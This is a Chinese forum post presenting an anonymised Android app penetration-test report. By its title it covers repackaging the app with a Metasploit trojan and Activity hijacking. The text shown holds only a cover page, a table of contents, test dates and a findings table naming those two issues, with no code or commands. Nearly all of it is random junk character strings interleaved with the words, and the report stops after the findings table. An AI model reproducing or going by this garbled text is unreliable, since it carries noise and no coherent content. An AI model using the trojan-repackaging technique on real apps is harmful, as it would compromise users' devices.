找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4389|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
" j; T9 h+ \4 _ ) x) M$ [4 l1 R. y+ P1 i4 y' c

( n1 }+ b$ Z5 c) T- o8 i 5 m0 M* z) w/ P5 [2 R' V' O% j
* q9 e/ s- R- R - w3 f) q' b/ K+ ]' Q

; t9 Z. k( o; H2 j8 G9 y6 L! j3 h$ o, h; N* K9 M
& w0 F. ?/ i1 Y9 v/ a. r 0 n( n: D8 J& q9 X; Y

+ i: k+ \: U, {9 S # n/ Z* C6 }% J Y. |1 i x5 R0 ^" g 文档编号:                : L7 C' D- ?1 X4 F- `; n2 u1 w 5 L6 `4 W0 Z$ K% ^/ A% [- u5 s

0 M- s2 F: ^' G& j; t / Z3 K+ l8 |& e5 \/ A g" h

# k! P% d& m4 W5 H' u7 {' F : i9 d0 |4 i/ r% T   . i7 ?1 G7 X/ U# y+ z" Z( C) F( p; B& U+ {' C0 m

, T0 ]0 K- Y6 d, o% b0 [' w , s* ^: U0 J( O1 h2 A% \) U

. K3 m% G0 [ S4 V: B r' Q 3 W/ A2 `' p' W" l! e   + z0 [0 I2 C7 x, E& B% M7 c ) u2 g9 j9 Q: |0 A0 {% ^

5 t0 r9 E2 \+ `' c! R% y! p: Q: J : g# L8 H) ~" Q/ ?/ w- k/ Z

4 y7 [2 J7 A f* i3 W" q3 u# y ' r( ?) \) D5 I2 A: x. |   ; _2 K! I! f! S- T4 _: Y" U% B9 R 1 s3 M+ h7 A4 Q& S \) z9 x

% H5 y7 ^7 F: ?/ K# b ) D$ ]1 t4 \* f, q5 z7 U" Z8 }

% m; a: T' n+ u) U2 |: b+ r% T) z) q# u! R/ w* C   , R |" B2 z9 f) B+ Y" f9 K J3 p5 V) ^/ M

2 ^6 I1 J- c: p8 v: ?6 }; h1 U5 f* f# Y7 T, L' o6 [! y

% n8 _5 p$ a s$ Z1 _! s) @% w" a* `6 Z% E" e2 W: e9 f1 y   ' t" b! x; P i- T7 i 3 Y& e2 L2 w' S

! B' \3 L+ }( f8 F; d+ f I3 }( `* s6 y+ u3 \8 R

+ n: A% \5 |/ s! A* g8 O) K6 V9 I( y# }4 P0 F. F! b# h 某某某APP渗透测试 ' Q% A! v$ g' L+ ]* }& U6 R/ U5 g4 K+ ]) { ( @ k0 s E2 g6 l

1 _" v5 D8 W% d0 t " O, r2 r9 t e' I6 f

J- h: @; O& k0 {& H& f W ! d, B8 M2 P: c( |6 i5 T   . R- }7 o9 H2 C1 H1 [ ( q3 T2 v; b2 h" B

9 a3 E2 e$ k3 f0 f) ` 1 y7 L- ^9 P4 f; ]/ q

) C3 D: V$ ]- g6 j# y 9 K8 b9 _, M$ J# b9 r. G   / p/ C8 ^$ b$ m7 g * R7 U A. h' W) }

: }+ j R9 `7 O; I9 O6 v5 P* J3 M; i3 w, g

% S' B. D1 o& ^1 W4 W3 i! Q, O 4 d u7 L9 k) W' Y/ {9 Z- v   / ~& e; k4 t: d" x6 C, S. C: K 4 c* @6 T* @( c/ A. _7 a

& t2 Z% \1 D8 \# }1 x; g& [- Z0 w0 l6 @4 t1 z0 g" u

7 c- X. w9 N l/ } 7 V6 ~# G. [: u* W1 [* e6 u   & h; r/ k% }% t6 d1 A) h8 R/ p! g8 h ) L" t0 F. y. Y- ]4 P* Z0 c

( @* `, Q6 d9 T6 \* H6 I 9 }- E9 S+ R e4 G

2 Z$ F# s$ z9 T. @/ P7 \$ _5 t- }7 T3 b# n4 r% R1 M, r 技 术 报 告 $ K; Z$ m7 Z) o- q7 X8 a8 o 0 P* c) C/ W" x# y

5 e- P d# k" d * ]& Y2 i9 u8 K6 ]

7 l0 n j' X( r! P7 X$ r . E( s8 J2 a! K   / s$ d; D/ i5 [$ m ( W6 b9 Q U9 h: G

/ h! w. e. |' f$ r: V9 ] + o' p/ ]6 h" q# \

+ q g7 O* T0 k* I% d i! A f2 i; q: p' ^3 D& s3 k   5 }, w! P+ O" h. j; ~9 U( _, u* P( O; o9 S5 k- T v% T7 g( h

. `1 f4 q3 D4 H& f ' ]; L" @! ~& c

* n/ N8 b6 ^! p. ^9 B$ W" } 4 e9 }: b% ]! q, [9 I* B   , ^8 \8 w- K- F; F# j' b h* i - O5 a& u# P" o, H( ?

2 ^1 z( G6 t3 N( R 0 s+ D1 }4 Y" y2 U' D

4 Y# M3 q. F# h* L3 Q7 x; ?2 ~7 G3 @& c& \" `* u   & K% v! y$ ^) R0 p; m7 o7 D$ a0 A! J# F6 r9 o2 j+ X" k

# u8 a( j1 L3 y7 e # O+ I. d/ _1 n6 u# p

6 J) L, p+ F6 z" N) v- x7 X5 u% K; k# I$ e. {: g$ m. M. \0 ~6 h   8 s2 p, i. M @" E$ h & E# L8 x8 f3 g1 z: Q

: O l2 b/ q+ x" w( M7 r* r% m @& d* O' C y5 Y4 }. w7 _

# j) W" {' w; s& ^$ Z) \ # g* t! u% J+ @; a* g8 S! i   0 `1 I2 g" {) b' X( m: g1 ? 2 L- A/ J( }. _

9 V, ~% I/ i0 N* S W. N9 o2 O# G& J2 g

! t8 i$ H9 B" k1 A5 q ! L; r, }& X: O1 W% z2 W   " X7 x! `* V& }4 V8 R/ B2 e 1 C6 P. ^* @; v& g' J' t

7 C O" S l5 T8 }* y: J' \/ B3 q& a) z U+ F

8 W4 G9 D1 X* T: S" ? - l) h0 {% R1 Y: l   ; h$ Q9 v# m: D4 D1 D 0 M; W2 A% H7 p* k% D1 t; w2 z+ X$ ~

4 {9 m7 g0 }- v/ v4 p( i. O+ ^; H' {- |

, s3 P1 U: \% c- X1 @" b' B/ K) W- ]6 }5 r4 F. \   & q* S% C$ h8 @$ B2 T) P! A! m. u$ j: B! j- Z7 ^7 V

% ~8 Z" P! N0 o0 c! \ : \8 K& d) ^. `" c' e% [

: l: `6 `$ T& n) [ H6 q# Q - p! F \: R* \   : }: q3 i( q& ~" k/ `& Q & S% L6 U) Z* u

& ^8 j' O/ S. ~+ n + x% Y7 j6 |8 E8 k

, q- \0 W3 |/ I& W $ |" L( X% A5 q- `# a   ' {( E' T! R" i3 m# P: N0 v% V3 B& h4 w$ y2 \7 Q

" `( a, _5 D+ H. ^ 5 }1 T% B* E" J

: y- p0 [2 Y$ j4 [: ?& U* L% _+ _' \   8 O) s/ G5 m: d6 G - G0 z; P5 j+ O6 |; n B) o

* X# Q. f7 o* P3 D1 Z8 j8 O/ l: k9 o' C, x0 w& A

+ A3 E5 E' z# w: c' u2 }1 O1 D' p X$ ]+ e3 i/ w9 {$ I$ d( m/ A+ l   1 f5 W' F# G) w9 W b+ G! a( J$ x, c' e" z5 d- x9 B' v+ L, [' J% M0 g/ L

) M. ]) P4 Q' O7 E. H- X, d/ d5 H1 c3 E4 V/ o% ]

, Z+ l. q' V1 l/ ^ 5 @- |: s, x6 U   1 A+ [, r8 u) B( P9 Q$ \: M5 Q k. c2 B! r5 B7 i, W

P0 Y1 |( w- s9 L/ E8 b9 }1 M ; |5 `. h+ j) _0 S4 E' x' f1 x

9 _% x; r, M/ @7 L; _ ) D! K: `( S0 Q   `- D7 J; l1 }* T ; d: d0 ?; }, h- g# B

# G) r" ?! }! T d% y / x# Z' k2 c5 U8 {: k6 t

3 q. {/ ]: z5 r0 d* ~; C# a & [. r1 e: i6 W1 l" T1 p( z   3 S" T) h" _5 i$ S% m6 H$ b . ^; p) `. ~! V5 K

( ?6 A& [9 |2 L1 H8 A 7 X* ~1 K3 |9 ~1 c' U5 x0 F

9 s: _5 ] G/ K6 a1 L # r4 d# E% |' W. Q   ) @! G1 N v) s6 |: Q; _; U! ` ) S' M+ _: Q: ^8 S- [

m" h. N. S5 x& O+ V $ x) \4 i- P0 f( b |( V/ S& H- ?; ~

+ z! ?" S3 |2 p8 i- r3 Z5 k$ L$ x# @   , z4 [. ]/ g; ^7 n3 B4 ?, l# W- ^% v: T& f) z% ^% z. _

2 ?, ~7 j$ D; f( j+ r& {% B5 Q - I! N% i2 w4 W7 q& K

( Y/ ?6 O8 R$ L7 N. | + f: N" Q0 u0 l/ k9 W1 l 二〇二〇年 " b5 f! G B% L6 A" X# V ( @5 \+ x$ g& Q; u: {9 }+ b! |4 g

" E1 r+ f4 o/ f6 N N8 b. @% e # }3 \5 V: M9 v0 L, N* ^
8 u. x" Y0 }% W - p( z& z8 f9 J1 r6 v. a
: N1 I6 F6 R9 f ; @2 p& X# V- f' `
2 i6 X2 _, Z& f3 B$ U, [! Y; N0 Z8 R- Y; Z
9 U2 V* c9 {( F2 f, e. l# F. c * x( I" s2 i1 q
/ f- l' ^, u, R, @ # O0 u, S3 A- N5 F1 E. e' b
. T. M' V: N! D7 j6 h: B7 c& Z* P6 I6 M- `/ o7 J' B
- n2 Q; R3 g4 }# d- x! | " O8 F7 x# r0 ^4 b
* ~* l( Z8 n) J % h+ u5 w& B' A7 g

I- f, _5 g/ W# z- S* T+ R ' [; D0 z, Q: i3 n% J: d% `4 V% Z 目 录 2 [( L6 j; d/ [0 r4 @ 4 X" M% t) ]% X1 \" g

3 ]/ y n/ q$ O) t! A1 x 0 C; P+ ?, U& A* v / Z% f& h) \: s) E; H; v; \" F- u8 F0 K, C5 s4 ]

# \% Z- [$ Z4 k) u: c% m 2 Z, P, T' x N) G9 G( h   / p7 m# H2 K9 u+ \2 [ 2 Z/ W, G* h3 G/ W& }. X3 L

7 {9 L: E9 X6 |, H 0 e$ ]- M) H3 |- I

+ p7 Y) \# P: M; l& i, H6 s5 r ' e" Z& u% R; S7 m. e. c 1 概述... 3 6 [, J- `0 w2 p" ~2 D4 i( k ( `. i- M a0 ?% g

9 x$ [8 n1 B, x9 P: l H. O2 z ) w9 H- \7 d& ]3 b1 g- r

9 I P: v" g" s$ O$ C, s$ w # T' V8 y& n% h/ o% v 1.2测试时间... 3 / B1 ~4 i2 @( m; y3 k3 k3 |6 T; }4 P( Z( ]& Q8 s

0 K( l+ x3 c* W7 l# C1 ~5 _ 4 Q( h: U+ c |. k

1 v S2 K% Y) o. Z% i; p/ M 1 |) l8 z# X+ V. O0 B 1.3测试对象... 3 - C0 |/ r1 d. z8 N" R 4 `$ Q9 G" c# [/ X: k) ?# r

# T/ O- M6 Y% ^ - ?: C* @( K. |* @

! G+ h2 B2 t) w, A+ Q! k+ l* n; V4 g/ G' {& y5 T. N 1.4测试结果... 3 / \: |" K; R4 }* K- J2 d% ^" o/ j: N D) S

" i5 e( _8 l+ t# r* p) A, W 7 r+ |7 r: K& f1 ~

/ ^! k$ C+ k* W g . W2 S( P6 A3 I7 Z; a/ Z. k 2 检测结果... 4 ! ~* e$ G$ d& `& l1 d; s/ D* F Y! T) P3 ^7 g+ J5 N

}# V8 P4 [# x; H i ' b! }( }9 J" f4 _$ d9 ^/ w

2 h7 |/ L- I# g' w' s ! n) y, |+ J# a+ c3 s1 I5 Q0 S 2.1 某某某... 4 + Z' {9 s4 x* [$ d, A' d |1 G$ d- `2 Y' @

% d M$ y" r+ V$ [7 A: T 0 y6 O0 S. [7 t

' i1 x. ]; k8 P b$ u3 s . A" e3 j) Y( i 2.1.1检测目标... 4 6 |2 u, }6 ] K5 e0 F 8 q3 Q4 t& _. i; D

5 A8 [) H# D7 u2 ?& h$ m 0 o2 i6 R" w! a& y2 P3 d _6 S

" Z" y% t! W* z/ o 3 t1 J+ J N5 y6 \4 u 2.1.2检测结果... 4 # E. v! f0 B" v; M I9 V 7 D9 s) k* p9 [3 k' K' g; o

+ r7 Q4 T$ o) z6 w' ]6 G& ^5 z0 Q( t

9 q3 I T' P1 N p& b2 {' E 6 F5 ^( y) u% O) m 2.1.2.1. 4 9 c Y8 z" D$ B* \& i/ ] 6 e% Y5 ]$ z( G: K" Q7 d0 }

* C; a! H! [! r$ F3 d* @: g$ q# Z, I h

: p$ d% W! H: X0 t& g$ z7 y! A6 n. M/ ^ 2.1.2.2. 6 3 z, _& H- S* V + p: m1 S; |9 c! ?/ |

$ j& ?" V3 ^9 \: o. h. x$ b t- C2 J/ D' t. C/ b# }) k

$ \; X) ^' O/ c& n . ?# z0 t9 }* R& X! d, V- Z " `$ K6 _% A" u& e& E; m- Y2 ^% B1 n

' c( h1 h2 B, ^5 P* x" ]: R! O" Z* `5 W* _, d, }8 W
- H% R$ F8 l, E8 |/ ^ * g( r. J. y; c- E# E
' J8 V( E M' k* k3 D! B; K8 N( E * ~+ s a. i( ~* L- Y: f* R* `
& H' e( l4 A `: U : \0 a. H- q* G- K! w! E
* D4 b8 x% h U: g( c , F1 \0 V) [( I! |6 ]! D8 t# u

2 t7 g t' N# Q5 Y 2 d6 a1 D/ y1 g0 r 1 概述 : p* o: r* i3 a4 |" Z$ l, H ; \, N: H% F. B# G. A

- P; I' k- U, j % |; c' A: z) w

, m" t" @+ q6 j' A + O: ?! G y8 }+ h; ^3 B# V 1.2测试时间 ' Z5 X4 Y# Z( I0 u+ f, i 0 M1 E) J6 Z. l7 L7 e' L

9 g2 q4 m3 t& @. A2 R , ~# Y0 b9 u# g & p+ n6 f# J$ ?4 K* P) y M* s. {+ T( t f0 u1 b# r7 F" Y3 j5 d$ ]! h. m. s: h) @! y- k$ y0 z* o; ~0 q! x& w! y: X H% L; u0 g) F1 U3 f- D, z+ H4 D L5 G6 A: ~5 a) s f! J% v9 t% y& R" n" V! c5 f3 ]& n% @5 M7 _0 u% ]/ W1 u! o( [' T% }, \( a; k3 @4 Q( v& j C- F8 l3 |+ Q' b9 \& A) g9 f3 P3 l# I: O- t; K, G% b8 V" s# U6 q% y& ]& X6 j) {( C0 M- @' @3 L$ D3 x2 g) q1 W4 G( q0 G6 f) `& i0 a% H5 ], ]) n( \; R# A0 w9 B3 K q3 n+ L1 K5 L, g9 a" j0 z' ^6 Y: T# q1 r; X- K) Z0 t9 W2 \! ~- S! ^7 a6 d# G# \2 P8 R4 u1 [- o" C8 {+ F, A$ Q# r/ F6 F4 B+ I8 R7 K0 q* i2 J/ t8 G5 N+ A* N/ M+ D! |$ B; |" J2 ^8 h' J/ {! a3 U- T- P5 [- t) r+ U" Y( ]. O/ H( m. o- f* e
8 e; @4 h9 l! }) w 7 q5 A9 n$ X& e( u5 \* l

0 M9 S# ]2 [. U6 T1 X- V 6 |. Z5 x8 D3 V2 f. L K 渗透测试时间 * F2 ?/ l2 o+ `- ?. n% k / V8 V' I+ t7 b

; n# X* O" K2 N& f* Y3 b5 z5 C) Q7 {" E: C/ F2 g
0 j; N* p$ \" c) r) } i1 G6 \# i: _9 y

- K+ B3 g8 p2 }+ O" J, v1 e( \& O! N! M 起始时间 7 F0 _! E) B7 Q* n; v3 z2 @ w " K+ {0 K9 E @. U

( K9 b# S( c& x 4 [6 u! s0 ^8 R p9 H4 t
! s1 s# e6 Q& B# q 8 C9 D6 F( T+ K+ t0 Z0 e- \

2 D5 r+ U- A$ L" g 1 a+ _6 s: E0 H 202046 i6 u2 q% r- ]& d7 ]: X# d6 | $ B0 H( S! X, k0 p/ U+ l

, x( g" w: m% l! p7 K 0 x G _+ ~) R+ J, D. P* l$ ~
# G; C4 D6 Q/ {9 y$ N0 ~ % B- n! a4 _8 k2 X5 |" e2 H

7 q2 X Z% W. Q( @ ) Y+ R4 b5 ~5 ^2 q! y$ t0 X5 s0 N 结束时间 " M2 x' I" i1 N8 o! I- X7 z. l _ ) [% R4 M* h2 [/ X+ I

6 Y6 W" Y4 G7 u3 g! O- Q4 z ( K* e9 W, U, r" h1 s. n
- ]7 P! p. b5 j9 q$ x) H2 \4 I4 X- M4 n$ ]7 x) q

$ l9 U8 ?2 F/ X2 w " Q' E, U {7 ?/ Y& O- p+ Z 202049 / |! O( o, g$ h+ {8 t 4 |/ @/ k4 v+ b

9 v/ `, k/ Q% B8 a/ r+ I/ R% K8 ^& H& g( G
1 @* t8 J7 \9 _* o i" S2 ^; T: n$ P ~

0 y0 ^! x. n$ \2 q* N+ s& Z# o( o0 X/ ^, J 1.3测试对象 0 R! U q# y+ |; Z/ J r# w8 J4 } . d0 d; h$ y4 b2 o' N* U

$ L* C3 M6 x9 k& k% ?5 v8 Y 3 ~9 F; r7 H. S1 F- G& K2 H% B' a N

0 q; L9 i$ x" E' {+ o$ z + }" d) f- H# C- ? 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 1 y: @* R7 w+ y# R- ^% a, K+ V7 B1 K( c7 @

% P1 L7 R9 n5 S$ i2 B8 j+ B % N, H; {0 L/ h, D8 c8 N; h

F, v! R n' _ L H8 e! `8 V+ y' X6 ]% c+ e6 g% i }9 @% z9 T 1-1 检测对象 " ?) \) s/ ?0 Q. n, b ~/ ]' u F ' \3 x8 w; x8 W

+ Y; m" b3 t+ V7 z ' {; ~: O' B- @) M : @: L% b; ~$ d# h$ \* O' a1 j0 o# K9 r- s! t! D7 s7 y/ z. Y6 J# Y( g* h O9 y3 W: i1 t( K& v: j. Z$ G* j2 |- \! k& |0 h( Y7 P0 V0 F6 ~5 [$ I! y& Y) |: }2 s* z9 U( K2 [: f- n; |* c f( e8 X4 u6 \8 \4 D( y j4 @. M4 n0 ~% a6 I7 t/ X' K( J+ t' |3 t, u7 L5 H/ ?, m* P0 B$ A; h1 U& a0 V5 q! e, q* t1 \% Z/ m9 D7 t2 b+ Y# E# p4 U0 Z. Z9 h$ B% X |7 W) R7 |, a' p: `% y" I! ^& C' ?6 v& P2 b' Z5 m: q% v' o. E, `* `+ h4 j- }5 E, ?, j y* }' A; f- [1 U. @# l* k# W) i9 y2 x$ a8 l1 s3 `- n# W( Q; d8 T) K/ b+ W0 |) u4 Y9 R, j* ?. h6 p5 H& R* x$ Z& Q( \' x8 f$ i% O4 j* [0 k$ s# k9 k8 [% e- `. m( Y5 B5 l/ D& \$ D) x d! J2 `& Q! U4 i! i! _, r* \- i3 ~! ]# e0 ~* \& V0 Z z! t5 N* _. m3 V. L1 \9 Q- g; U9 p, Q$ Y* W; {3 x8 g
7 }; b3 Q6 _8 u/ J4 H6 B2 n" [% ?# m Q4 z5 U; |+ Y

% c4 y4 u) k1 J% o 4 h/ P" I' Z4 U 序号 ; m9 J4 A% b$ k) V5 R# O8 r& u - p$ E1 o" Z- J

. E" p- W2 O/ M1 N6 h- p$ _" y4 q% P7 K3 N6 K5 W3 }- d5 I
. N; W/ G- \( N+ Y8 z1 T# l) ^ 3 {7 b& E2 T" x

5 G/ _# O& M5 }- b& h) l0 g! Q9 }; n. d 0 R9 ~; Z+ p$ S* j) |) E8 e$ A 测试对象 4 r# G4 e6 G7 _ m/ q9 a; s0 Z: B* N6 r+ W% P+ s2 s

* H8 L: z3 ^6 Z2 g6 u; k! S3 f . D" ]3 h' Q, B. S [
, x/ y9 H& H) a! g: s2 ^ 5 s! Y& V4 D, F

- n$ r% Y3 c! l/ Z' j- z) L) O2 v3 o & b- @' F f$ r/ v+ ^9 Y 测试地址 $ ^8 Q# l; T% U$ b) i+ P 0 [" y: Z8 n5 M0 F

4 k- n9 \, C! A( C( c0 z9 j0 B" H * l0 @$ V/ k, `) {
4 b$ E# S1 F8 H* E, S' q 8 v4 n% G/ s8 O, Y$ u

1 ^/ W2 D. G1 g J6 X! D4 W , t8 C2 N) e! H' n" Z8 } W 安全漏洞 ' |8 }6 {. {" M2 ^: [7 g* N* z4 U- j- P; k2 W. R

1 e; W3 z/ g5 D- B; e) T$ I 1 h8 Y# |: i$ t8 w* `
" |" w# Q# R3 c1 @1 ^: | ' i4 ?0 R1 U2 L

0 B# U/ ]6 g: @6 ~" X) O1 y6 D, `0 J# P* ^/ u* f 1 % n$ Q3 y$ G& S " _, y$ m% O) v3 z+ Z

! ~2 \: W2 N o8 p " m0 l! c; k6 G/ w
/ R7 P0 K7 `/ J# `7 o7 c 7 Z* W% b$ g) [, K

r+ Q3 @5 G- m8 C% o y5 e8 T+ S. B7 l6 v& a' l) Q 某某某安卓APP 7 z7 h( @4 G6 R: h, v# ]8 _6 S8 g

' K1 Y( u( L( w& E# }2 T. |6 S" g
8 Q/ g7 h& d3 ]3 I : T, t# h J" u2 {+ I

7 m" F$ X6 C4 m0 V) _4 _8 J% [7 _8 S$ X' \: u   Q9 Q9 ?4 }: i6 v 2 c0 w' g& e8 S Q

1 n) s: r( S: h, r 8 P9 q* {; L- V0 E+ T
; @; N' E9 K' s/ X, {7 e8 v9 X 8 R3 t+ n% P4 ^% n( j3 h6 J% D: o- s

6 z7 d8 P+ q+ i" D4 ~. \3 f' k* F$ q4 H 2 2 t7 c" w% f! h5 ^ `. j# n. H% d4 E" F" ?! e$ g3 N l

) c/ \& L- R5 s( i " D5 F# j- M" H+ s
* V+ B& |4 g0 F) p2 c , G8 f5 W4 }# X+ v7 ]* ]! @3 L, K

; G( k( h j4 D$ y% H& X . i, [1 u' y+ G$ Y- i7 ~ 1.4测试结果 1 p( W" k, b; v ?$ w! [5 u9 x6 \/ w) s: t/ o+ q

; S5 f6 s/ ]* P# H- Y0 C9 [: F # u) B/ t6 Q9 Q4 b3 L

/ i" f: {! O) k' X7 H . B- ]: E& S0 ^- `6 V 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 0 l7 x. t0 C# m3 B. }0 W2 n: e# B f+ z

$ ]2 k7 H( @2 N- D+ W! `1 X5 ]- | 5 ~5 Q* @5 A o( f. I

; L0 r# {1 |& \* x; z8 I7 E0 P, @9 M1 E7 Z7 z8 ]* \ a% P+ G   7 y% M' H& H, Y c8 L* U | R+ y7 u/ Z( A4 b2 `8 y

: U5 |* M. E+ b" A' M2 {/ q9 h% }1 t, Z" {) D
7 H! n5 t. f$ i- v4 w8 e; p4 _' V$ C# l& O ? ' N* w! t H- L. d, D3 \0 D7 P3 N( P$ O; j+ E7 H% k) |. \! G X6 P6 M5 X: ^8 D. B' ^) Q: i2 E( a: T3 b: @. V g6 C* |8 |* |* ?& H' W$ F. }( \# G" {; p+ @; E% h; @$ @3 y1 T4 y3 p2 z+ W: v4 H) ~. [, S* k" t$ p8 e& h1 y2 }' N% J/ o. u/ X% T* ?( z# N0 t" }, q' Q: S* Z% j$ \' Y2 p& h" n# g7 u7 p; b0 c6 _' ]$ E. |+ d- P& L. [& g7 @9 u! i" z- s- m" r$ N* ~2 a0 G& ?, x$ y: L" w0 {0 h+ V3 P9 s( `7 J f/ u O$ ^8 N; E3 ^2 F) v" S+ e, B* V) d# F; I/ v: i/ x) s- L* W& i! w o: u0 b$ q; e# ?; Q5 s0 s; \* |$ ?) z! q% J4 j: c) s8 q. V& j; ?% L7 \2 U4 g$ s" U4 E; N! C/ `* J& M6 v$ [! D- \; X3 `1 S8 ]2 B3 V- z6 @' ?; t; @; b, r, y1 J: E# h- u' r% @& M% o; ?- C; M" ^, G1 \& N. P4 ?5 Y' _5 |% e8 s! ] e/ r6 `6 d" I7 Z3 Z) V/ `- K. S& ?! E' H4 a4 h, O2 j1 a) Q# Q! v: N5 H1 y- [/ s7 Y5 i: v( ^# |: ~7 A7 d/ D( ]# ?# ]6 \8 x$ s& |- c7 K# P+ T4 C j. M, w& p+ d O- N$ R( U' ^( W& |) a- v/ F6 n; E; O2 ?, }7 T! A) z* S, G5 N$ }7 ~0 T) R; r9 m2 K7 @( {- x0 t& [/ U. I7 i# m1 z$ S( P1 f# g0 W0 O* J! O1 @5 a) g; ?- ]2 k) X J6 c3 P# f2 H4 t, [ B3 v7 j& ^5 H" t( U% \6 [) k/ W) [2 a3 @1 t" t8 C* A" b7 V7 S' Y0 b! u# p; D2 W3 M& ]. b* E9 y+ B) U9 Q: l2 U0 ?# _6 ?! Y) T0 [7 z- ?# l; b. w5 x. W5 Y, s
0 K5 j9 L5 P9 `' H0 L B2 `/ z) _- R: H$ P* W6 n9 h

4 \: f# H% f4 U: t 4 `2 b% t/ ]( {. y! ^ 序号 8 p ^5 x v" K$ D/ b) v 8 N, J4 c9 k1 t8 u, K% }. W

0 ^) b4 `: Q$ J6 S" s, y 2 E1 V/ Y( u& h, E( S Q
% o4 H- w; g4 m; m- n8 h * s! Z, G$ @ I' l1 N: I4 r1 }+ K, L+ u

. b! b" U. j; s" C7 e, J) V. O# Q ; I+ b- z S4 i9 ~0 E; m 系统名称 $ O+ r- n* E% b# }( a D# q K+ A, R5 [1 r, i

, _2 }% ?2 p2 E0 l# p 5 [& d. p) J4 |
5 b' x! |: q- m5 V X1 `" m6 o! Q7 C9 v. u

/ i- Y# A4 G6 E4 s0 m 1 P# L4 ?, \7 p3 x1 J! @8 V+ P 漏洞名称 : f2 G: ^7 E0 B6 G4 T+ n 2 z! c- }. Z) C/ d: f& Z" n: A

# Z3 I0 Q X ]$ l9 z: e( `6 |3 t $ A: f4 O1 y6 J" a8 u
) M$ k. _5 x4 m$ c; Q' H8 Y % k' y- X2 \9 Q5 l4 e! E

% K/ ^1 l. G6 u$ k3 h. Y % \* k( \8 Y; M d$ `9 S 漏洞危害 3 x- @: H4 `# E. J7 q4 ^$ C, }5 R' a

0 b0 ^+ p# b, l" n+ Z9 Y8 B% x8 _) |0 q
- C# N# V" }. o; H. M ; ` c {3 e: ~( _3 g# K. I" D

$ |6 [' Q/ q1 N) s9 F# o$ C ) f1 C* E! A3 ^* e6 i! K 修复结果 # |4 f/ @' P; ~$ t5 p( V6 X# f& q( Z/ v5 k, a( I

. M' D& R7 B. X+ ]5 Y. t + `) z* ]. |0 m3 a, Y& ?
i: ^2 B+ T6 B) M 8 K( b/ M0 C* T* H

! Z# I* X! F8 T3 }8 p" L 7 l7 d% B' n7 c 1 $ N1 z9 _+ G6 w% q: K 5 _' b3 C/ s/ F! O& F

7 K) s% a' o8 s# N 9 H7 P. ]2 R8 w5 j r5 l
& }5 W9 b; G+ s8 g% f. ^ + H2 D; W0 D a$ _* z

2 e& K& b9 v4 x7 t5 n* i7 Q ; T1 _0 _; `6 J8 G8 C 某某某某某某APP ( z0 _7 Z, u# E , n0 Z# T% [' b* ?% ~, X

$ k8 ~0 V5 v {9 _ & C1 S4 F$ Q; R& i
4 M9 Z; I; M. _% P& ? + Z1 }1 p8 u# `4 K/ E! B) F% V

: _+ A* r3 i T ) n3 ?, W/ { n3 v! R6 X1 F Activity 劫持 * |; {' _: m: i$ G0 o2 _2 y0 ~ ! Q2 \$ I0 J+ W

1 ^7 V+ `0 Y. b( f8 m 6 ?( X& h( w; F* T: M: E! V

+ ]0 p1 l& Q( F, Q7 h- J" G1 _- i* C( r9 j/ L   . u: a- X# @' |! l3 B 7 `# ?, \; m( \

% c" G# \9 \0 }$ H3 I 2 ~5 h. p5 e2 c3 n' |0 @' S# @
0 V1 v( `0 K' | @: d: q8 K 7 u4 _) @2 |; b* P8 E2 N4 |, T6 w% C

! T' @" F9 g r: M+ q8 W6 b. c1 D9 L5 Z; b3 b Z* |: a* x $ e g# W( ?9 l6 V$ Z; C% F: ]# c) Z7 y" J" w; ]& E$ q

0 X- k+ [) i# u% [! O: Z5 z4 a5 X9 N* J+ m5 u% u7 e" r$ o& ?* V( `
9 O+ C9 N+ H8 c' s* P1 p7 a : o& W, y, w" Z+ F

7 |/ p: K/ w5 r# Z! y3 t, O! E `% d5 d! G( m/ V5 P   4 @. n8 Y8 M- m. m2 U- l $ F% L2 {# n: E- I4 Q. r

) A0 Z8 n# h' C2 J1 B& ]+ Q- [" m+ R
$ o$ m/ M- A" n. \* F/ ?* c- M) L' M" j g8 k! z

" ]3 l- K# ~$ E& } w9 y4 B" m ! g z1 ]3 W7 U/ F( t: }4 z+ ~ 2 . o+ l* J% j7 ]% {6 B: P. x2 B . A( d `& v2 p1 w

' ^ i' s$ h+ P4 g% J3 b 5 d7 T; O) f' v
$ E1 M) f2 z& g! t, ]( ` : }' n; O5 \8 J/ I5 d

3 G8 c$ e& L% P% {+ o. U; \9 I: ~! ], E- i, v 某某某某某某APP 4 p3 r/ \9 }3 Q) {& y & E1 O3 P- S$ ]! s0 N9 U7 E5 y$ [

, q1 A; o r ?" i: P+ m f/ G% i) f' G
% o& S# Z% r! |+ X+ S, f 8 r- e3 V1 j) I) G2 i

3 B0 b9 ^% C+ |( I* ^8 L 2 B! B: d# l* R; B/ ~ 反编译二次打包捆绑木马、篡改APP代码 - i! n# Y4 T5 X) q. k) _& \" Q& Z6 s0 y

, O/ C9 i9 {) `+ g* D; H ( d. V# @; n D! Q ~) {. Z( r
* @) u4 h4 E- V. m$ j* f: c. h / U; J+ H: ?% W& j$ W* W: ^- C

) u, S, B1 s- q) S* X b9 y9 c5 [9 E7 Y- U h$ M7 L( U/ ~! V4 C 0 c$ ?' u6 `2 t+ C; w2 ^ 0 V c# s" S) |9 J' K# }

2 N% G% P9 U# }0 T9 s1 p8 |5 | t( U0 z1 [0 b- @1 r
. s- T/ W7 M9 K. }' `! ^0 k0 @! }9 f9 K3 \6 l" n( u

* b5 L# d; r3 c$ r v 5 W+ h2 J% G0 N8 v% [) I$ J   7 q# Y; L2 L" I# q8 U, E% }* q8 c7 ?- j3 ]4 t1 |6 ?

R9 q, n0 n2 o# c& J ' X @7 E" x6 Z% v; @3 ` W
+ T1 U" f& z7 ~7 U" f& S Y7 N8 p( E* U! ]! X. S6 x4 B
0 y0 o3 ^. X$ k4 i! l* v0 w6 O, q# ]' J* @

( G" f5 {1 ~/ r( M: d3 r0 | ?' D ; F" I, K; C: m& K3 ]7 i3 S4 a& ?$ G   6 z7 [' m6 y: ]2 T1 [, k; F: ^4 Z+ Z* O( `& }

6 }5 q! d0 Q) R4 c5 A: j * y& _+ c" `9 S4 v

